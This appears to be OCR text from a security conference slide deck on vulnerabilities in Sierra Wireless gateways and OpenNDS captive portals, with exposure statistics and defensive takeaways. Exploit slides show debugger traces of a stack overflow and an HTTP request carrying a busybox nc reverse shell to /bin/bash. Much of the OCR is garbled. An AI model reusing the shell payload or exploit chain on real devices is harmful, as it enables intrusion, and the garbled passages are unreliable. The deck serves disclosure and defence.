.text:00019854 format = -4 P _P _ _ : : -
.text:00019854 arg_0 = 0 [?fas=aGIkPTg4NWMOYWZINWM4ZGFIOTVIMZUXNDRhMjI2MmMVhNWYzN|QzYWFhZmMzZTIOM2FiZJE3N2FMmMMmI1YTUwWNzkw
.text: 00019854 arg_1l1B7C = O0x11B7C NjcsIGNsaWVudGIwPTESMIi4xNjguMTcuMTAWLCBbGIIbnRtYWMONJAG6YTUGZTIEYTI6OTI6ZDQsIGdhdGV3Y XIuYW1IPWOwZW
~Eextf gggigggj e TR 5ORFMsIHZIcnNpb2490S4xLjEsIGdhdGV3Y XIhZGRyZXNzPTESMidxNjguMTcuMzE6MjA1IMCwgZ2F0ZXdheW1hYzO0wODozY To
Croxt 00019854 Mine o BRI | 40DpmMjpmY TpkYSwgb3JpZ2ludXIsPWhOdHAIM2EIMmYIMmYxMzM3LWg0eDByaGVsbG93b3JsZCUzZiwgY 2xpZW50awY9d
.text:00019854 Eﬁrel = R2 WFwWMCwgdGhlbWVzcGV|PShudWxsKSwgKG51bGwpKG51bGwpKG51bGwpKG51bGwp]
- - = = Sep 26 08:19:25 debug opennds[1619]: send_redirect_temp: Queueing response for 192.168.17.100, 60:a5:e2:a2:92:d4
teh iemed e lever Sep 26 08:19:25 debug opennds[1619]: send_redirect_temp: Response is Queued
‘}"'1 ch ( (unsigned int)level ) Sep 26 08:19:25 err opennds[1619]: WRRE et debug level: MEEREIERA:
case 0u: Sep 26 08:19:25 debug ALEOS_SECURITY_GAR: Type of event: SYSCALL(1300)
case 3u: Sep 26 08:19:25 debug ALEOS_SECURITY_GaAS»Record type: 1300(SYSCALL) has 28 fields
vd = glevel >= 0;
gﬂtu LABEL 3
case 4u
vy = glevel > 0;
g-::rtc: LABEL 3 o
S O iever > 1. We get only 2 base addresses (limitations
oto LABEL 3; - Al
EEEE 7a: of ASLR): either 0x76400000, or 0x76500000
3 = glevel > 2;
ABEL_ 3:
if ( 1ve )
return;
— gote LABEL_3; S — S — S —
default: ]
debug ("src/debug.c", 56, (const unsigned __int& #*)3, (int)"Unhandled debug lewvel: %d4d", '_.—'.-'.—'_-)I.'
AREL S — — — — — — — — — — — —
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0x20a34

0x20238 | - GET busybox nc 192.168.17.100 1337 -w 4096
ex20246 | o ek -e /bin/bash?[PADDING][URL_ADDR][PADDING]
[GADGET_ADDR] HTTP/1.1 [...]

preauthenticate pop ré, r7,'r8, r9, r10, ri11, pc
Ox20a48 #3060] ; 0x21644 <preaut
Ox20a4c #3060] ; 0x21648 <

| 0x20a50
(gdb) bt
#0 0Ox00020a44 in
=0x0) at 1958
#1 0x000241c8 in
=0x42424242 <error: Cannot access memory at address 0x42424242>,
=1111638594, =0x640 <error: Cannot access memory at address 0x640>)
at :307
#2 0x00000754 in 0
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/24wx Ssp-8

=0x3f508b00, =<optimized out>,

Ox3fe2d42c:
Ox3fe2d43c:
Ox3fe2d44c:
Ox3fe2d45c:
Ox3fe2d46c:
Ox3fe2d47c:

0x00000000 |

0x42424242
0x42424242
Ox3f5006ec
0x3a613333
0x302e3731

Ox42424242
Ox42424242
Ox42424242
0x00000000
Ox66336665
Ox0000312e

0x3f5006ec
0x42424242
Ox000241c8
0x343a33230
Ox3f500066
Ox3ffofed4

0x42424242
0x42424242
Ox3f5006e8
0x38653a32
0x2e323731
Ox00000000

4

> e X

| T
Fer— :

=mo—
:00020A38 RO, R7 .

:00020A3C
:00020A40
:00020A44

&‘[.;Y'L:(P; 7
SP, SP, HOxA600 > R

SP, SP, #0xC4 L GEET T &=
{R4-R11,PC)} ; format E\

:000241Cs8 R2, R4 ; comd
:000241CC Rl, msg_len ; msg_len
:000241D0 rc, msg ; msg
:000241D4 _execute_ret
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Potential impact
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We found more than 80K devices exposed on
Shodan

Examples of organizations that expose SW
gateways online include power distribution,
national health systems, waste management,
retail, and vehicle tracking

TinyXML will never be fixed upstream. We found its
traces in the products of 29 vendors (+7 open
source projects).

For OpenNDS/Nodogsplash it is quite difficult to
track, however we found OpenWRT and DD-WRT -
popular open source Linux distributions for routers

Information Classification: General

Distribution of SW gateways by industry
(as seen in FSCT Device Cloud):

Government| Others
4% 6%
Financial
5%
Technology Manufacturing
10% 41%

Healthcare
34%
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« Many of the devices we could fingerprint via Telnet don'’t run the latest version of software

« There is quite a number of these devices that is either EOL, or EOS (soon to be EOL) — there will be no
security patches for those

Devices with the AT interface exposed: Unpatched devices among those:
__ Device | Count  End-oflife
RV50 665 TRUE
LS300 578 TRUE
(X450 538 TRUE
X440 470 TRUE m Non-patched
GX400 248 TRUE m Patched
ES450 221 TRUE Unknown
FS440 97 TRUE 63.66 %
MP70 20 FALSE

RV50X 12 FALSE

Information Classification: General
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* We observed around 5,5K of unique IP addresses attacking
those, the attacks are mostly indiscriminate

* Portscans and information disclosure attacks
 PHP-based web-framework exploitation (WordPress, Laravel)
« Java-based web-framework exploitation (JAWS, Log4J)

 OT/loT device exploitation (SonicWall, Siemens SL7, Tridium
Niagara, Netgear, D-Link, GPON, Netlink, HNAP protocol, etc.)

« Malware (multiple Mirai variants, GhOst RAT, SystemBC)

Information Classification: General
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* \We observed several IP addresses exploiting a chain of
vulnerabillities disclosed by Cisco Talos in 2019

* We've seen several successful login attempts

« CVE-2018-4068, CVE-2018-4070, CVE-2018-4071
(information disclosure)

* CVE-2018-4063 (OS command execution via unrestricted file
upload)

* The attackers used the PoC scripts published in the
original report by Cisco

 \We have not seen any exploitation attempts for
vulnerabilities, for which no public PoCs were available

Information Classification: General
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Hackers used luxury hotel Wi-Fi to steal
business executive's data, researchers Attacker
say

2a. Prevent doctors and devices from
communicating with remote servers

2b. Deploy ransomware on the workstations

‘Darkhotel hackers targeted senior executives travelling across
Japan, China and Russia, using a keylogger to steal logins for
LGoogle. Facebook and Yahoo services

| | 2c. Deploy malware to patients’ devices
\ via the captive portal

https://www.theguardian.com/technology/20 1. Exploit CVE-2023-41101 \
14/nov/10/hotel-wi-fi-infected-business- over local guest WiFi \ -
travellers-asia-kaspersky connection \ TEIT'IDDI"EIFV Healthcare FE]CIllt\_,f

Internet Ethernet
Cellular

w @
GE ‘ (( ])) connection ((‘ ’)) f'fmnectmﬂ m
A h;,:j:i Patients

v [@
Doctor Doctors

connection
.
workstations

Remote Cell OTfloT
Servers Tower Rolter
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Takeaways for researchers and

manufacturers
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Pay attention to risks from unpatched vulnerabilities

Exploit mitigations in embedded devices are not cutting it

 Remove unused binaries and dead code from firmware / software packages

Investigate the root causes of reported vulnerabilities, not only what is
covered by PoC. Incomplete fixes will cause more vulnerabilities

Provide a thorough root cause analysis with vulnerability reports

Foster collaboration and be nice to researchers (thank you, Sierra Wireless!)

Information Classification: General
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* |[0T/OT devices may pose significant risk when compromised (on par with IT
infra)

* Avoid security by obscurity, adopt the “secure by default” approach

* Don’t trust the many eyes principle: compile accurate SBoMs and treat third-
party code as your own, support open source software

o =

;:A't . ’ = l = e T e e = L = - =
9 7Y ) L T S "»:‘-” :\ % V., 5P s = ’ /- 7z 'é—'\"',-‘ iaeP ':.;"’T;:j, “': ’,7\"‘" ,"" ¥ = 5 AU :“\’-"v‘ (X
B )2 O O ENENT I e A E S D5k
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